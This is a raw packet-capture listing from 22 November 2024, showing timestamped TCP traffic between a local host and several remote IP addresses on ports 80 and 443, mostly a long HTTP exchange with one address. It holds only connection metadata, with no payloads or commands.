Nov 22, 2024 17:09:02.540716887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.540780067 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.540780067 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.541307926 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.541323900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.541347980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.541349888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.541403055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.541481018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.541816950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.541874886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.541879892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.541891098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.541939974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.542994976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.543010950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.543026924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.543064117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.543095112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.544080973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.544106007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.544122934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.544164896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.544164896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.544676065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.544692039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.544707060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.544739962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.544857979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.661798000 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.662677050 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.662697077 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.663789034 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.663961887 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.664316893 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.664377928 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.664546013 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.664555073 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.671541929 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:09:02.671782017 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:09:02.671839952 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:09:02.676063061 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:09:02.676079988 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:09:02.677182913 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:02.708596945 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.714656115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.714694023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.714705944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.714711905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.714745998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.714745998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.715101957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.715152979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.715156078 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.715169907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.715209961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.716065884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.716109037 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.716123104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.716140032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.716177940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.717010975 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.717029095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.717046976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.717066050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.717098951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.717844009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.717870951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.717885017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.717888117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.717906952 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.717921972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.718780994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.718843937 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.718858957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.718878031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.719026089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.719686985 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.719733953 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.719749928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.719767094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.719799995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.720622063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.720675945 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.720700979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.720717907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.720746994 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.720766068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.721576929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.721633911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.721682072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.721703053 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.721719027 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.721745014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.722433090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.722491026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.722507000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.722517014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.722574949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.723344088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.723407984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.723424911 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.723448992 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.723480940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.724356890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.724385977 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.724401951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.724428892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.724462986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.725203037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.725260973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.725265980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.725279093 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.725318909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.726146936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.726372957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.726388931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.726398945 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.726433039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.726444960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.730657101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730673075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730690002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730705023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730721951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730737925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730741978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.730755091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730770111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.730772018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730778933 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.730791092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.730804920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.730830908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.731618881 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.731637001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.731760979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.731940985 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.732057095 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.732625008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.732641935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.732657909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.732681990 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.732711077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.733422041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.733472109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.733745098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.733797073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.733874083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.734025002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.734468937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.734520912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.734627008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.734642982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.734658957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.734685898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.735110044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.735152960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.735460997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.735479116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.735510111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.735531092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.736219883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.736268044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.736409903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.736426115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.736470938 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.737008095 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.737083912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.737215996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.737341881 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.737366915 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.737555981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.737572908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.737590075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.737591028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.737608910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.737622023 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.738404989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.738420963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.738425016 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.738439083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.738488913 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.738571882 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.739157915 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.739227057 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.739232063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.739284992 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.739373922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.739392042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.739434958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.739753962 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.739763021 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.740214109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.740237951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.740253925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.740264893 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.740294933 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.740294933 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.741185904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.741202116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.741219044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.741261959 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.741292953 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.741952896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.741997004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.742130041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.742149115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.742182016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.742216110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.742860079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.743026018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.743043900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.743051052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.743088961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.743927002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.743944883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.743961096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.743973017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.744002104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.744016886 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.744862080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.744906902 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.745023012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.745039940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.745088100 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.745088100 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.745940924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.745959044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.745980978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.746078014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.746078014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.746906996 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.746922016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.746975899 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.747035980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.747056961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.747070074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.747726917 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.747771978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.747889996 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.747905970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.747926950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.747956038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.748636007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.748688936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.750543118 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.750837088 CET	49800	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.750871897 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.751281977 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.752027035 CET	49800	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.752096891 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.752597094 CET	49800	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.786329031 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.799326897 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.800537109 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.801323891 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.801343918 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.802403927 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.802488089 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.803519964 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.803621054 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.803797007 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.803802967 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.806643009 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.811660051 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.811691046 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.812871933 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.812926054 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.813457012 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.813532114 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.813618898 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.813630104 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:02.848797083 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.863940001 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:02.915946960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.916013002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.916029930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.916042089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.916090012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.916090012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.916446924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.916495085 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.916511059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.916532993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.916551113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.916685104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.917285919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.917340040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.917354107 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.917388916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.917598963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.917649984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.917675972 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.917694092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.917714119 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.917732000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.918544054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.918581963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.918598890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.918601036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.918613911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.918634892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.919462919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.919523001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.919529915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.919548035 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.919585943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.920346022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.920392036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.920408964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.920425892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.920443058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.920456886 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.921315908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.921371937 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.921391010 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.921407938 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.921436071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.921449900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.922194004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.922246933 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.922247887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.922265053 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.922290087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.922305107 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.923101902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.923154116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.923185110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.923208952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.923247099 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.924035072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.924077988 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.924096107 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.924117088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.924139977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.924155951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.924962997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.925021887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.925025940 CET	49747	80	192.168.2.10	185.215.113.206
